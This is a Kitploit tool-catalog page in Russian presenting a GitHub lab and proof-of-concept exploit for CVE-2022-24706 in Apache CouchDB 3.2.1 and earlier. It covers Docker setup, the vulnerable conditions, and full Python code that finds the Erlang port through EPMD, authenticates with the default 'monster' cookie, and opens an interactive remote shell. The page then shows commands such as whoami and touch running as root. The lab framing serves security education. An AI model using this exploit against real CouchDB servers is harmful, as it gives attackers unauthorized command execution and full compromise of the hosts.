Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-24706 — Эксплойт для проверки концепции уязвимости CVE-2022-24706, нацеленный на Apache CouchDB версии 3.2.1 и ниже. Демонстрирует удалённое выполнение команд через протокол Erlang Distribution, используя стандартную аутентификацию через cookie. | Kitploit
Инструменты/GitHubGitHub/junghyeonkum/cve-2022-24706
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаБезопасность Баз Данных
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Эксплойт для проверки концепции уязвимости CVE-2022-24706, нацеленный на Apache CouchDB версии 3.2.1 и ниже. Демонстрирует удалённое выполнение команд через протокол Erlang Distribution, используя стандартную аутентификацию через cookie.

Репозиторий
222 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-24706

Участники

  • 39-я группа 4-го набора WhiteHatSchool Кым Джонхён(@junghyeonkum)

Уязвимость удаленного выполнения команд в Erlang Distribution CouchDB (CVE-2022-24706)

Краткое описание

Apache CouchDB — это открытая документо-ориентированная NoSQL база данных, реализованная на Erlang.

Поскольку Apache CouchDB разработан на Erlang, он по умолчанию поддерживает распределенные вычисления (кластеризацию). Узлы кластера взаимодействуют друг с другом через протокол Erlang/OTP Distribution, и с помощью этого протокола можно выполнять команды операционной системы (ОС) с правами пользователя, под которым работает CouchDB.

Для выполнения команд ОС необходимо знать аутентификационную строку (секретную фразу), называемую в Erlang Cookie. В версиях CouchDB 3.2.1 и ниже при установке значение Cookie по умолчанию устанавливается как monster, и злоумышленник, знающий это значение, может пройти аутентификацию и удаленно выполнить команды ОС.

Справочные материалы:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Требования к среде

Для выполнения данной лабораторной работы требуется следующее окружение:

  • Должны быть установлены Docker и Docker Compose.
  • Для выполнения PoC должен быть установлен Python 3.

На macOS на базе Apple Silicon (M1/M2/M3) могут выводиться предупреждения о платформе образа. В большинстве случаев Docker Desktop автоматически эмулирует образы amd64, поэтому дополнительных действий не требуется. Если контейнер не запускается корректно, можно добавить опцию platform: linux/amd64 в службу couchdb в файле docker-compose.yml.

Если Python 3 не установлен, его можно установить с помощью следующих команд:

sudo apt update
sudo apt install -y python3

Настройка окружения

Выполните следующую команду, чтобы запустить среду Apache CouchDB 3.2.1:

docker compose up -d

После запуска службы на target-ip будут открыты следующие 3 порта:

  • 5984: веб-интерфейс Apache CouchDB
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: порт для кластерной связи и управления временем выполнения (фактические команды выполняются через этот порт).

В реальной среде порт веб-интерфейса (5984) и порт службы EPMD (4369) фиксированы, но порт кластерной связи может меняться при каждом запуске. Таким образом, можно обратиться к службе EPMD, чтобы узнать номер используемого в данный момент порта кластерной связи.

Если Apache CouchDB запущен корректно, информацию о версии можно увидеть по адресу http://target-ip:5984.

Условия уязвимости

Данная уязвимость возникает при выполнении следующих условий:

  • Должна быть запущена версия Apache CouchDB 3.2.1 или ниже.
  • Должна быть активирована функция Erlang Distribution.
  • Erlang Cookie должен быть установлен по умолчанию (monster).
  • Должен быть доступ к службе Erlang Distribution (EPMD).

Процедура воспроизведения

  1. Выполните следующую команду, чтобы запустить уязвимую среду Apache CouchDB:
docker compose up -d
  1. При запущенной службе EPMD (4369) выполните следующую команду для запуска PoC:
python3 poc.py target-ip 4369
  1. PoC запрашивает у службы EPMD номер используемого в данный момент порта кластерной связи, а затем выполняет аутентификацию по протоколу Erlang Distribution с использованием Cookie по умолчанию (monster).

  2. После завершения аутентификации можно вводить команды ОС для проверки удаленного выполнения команд.

Код PoC

#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

Результат выполнения

В результате выполнения PoC порт кластерной связи успешно определен через службу EPMD, и сообщение Authentication successful подтверждает успешную аутентификацию по протоколу Erlang Distribution.

После этого выполняется команда whoami, чтобы убедиться, что команда выполняется с правами root, и команда id для получения информации о пользователе и группах. Кроме того, команда touch /tmp/success создает файл success в каталоге /tmp целевой системы, а ls /tmp позволяет убедиться, что файл создан. Таким образом подтверждается, что введенные команды ОС фактически выполняются на целевой системе.

Скачать инструмент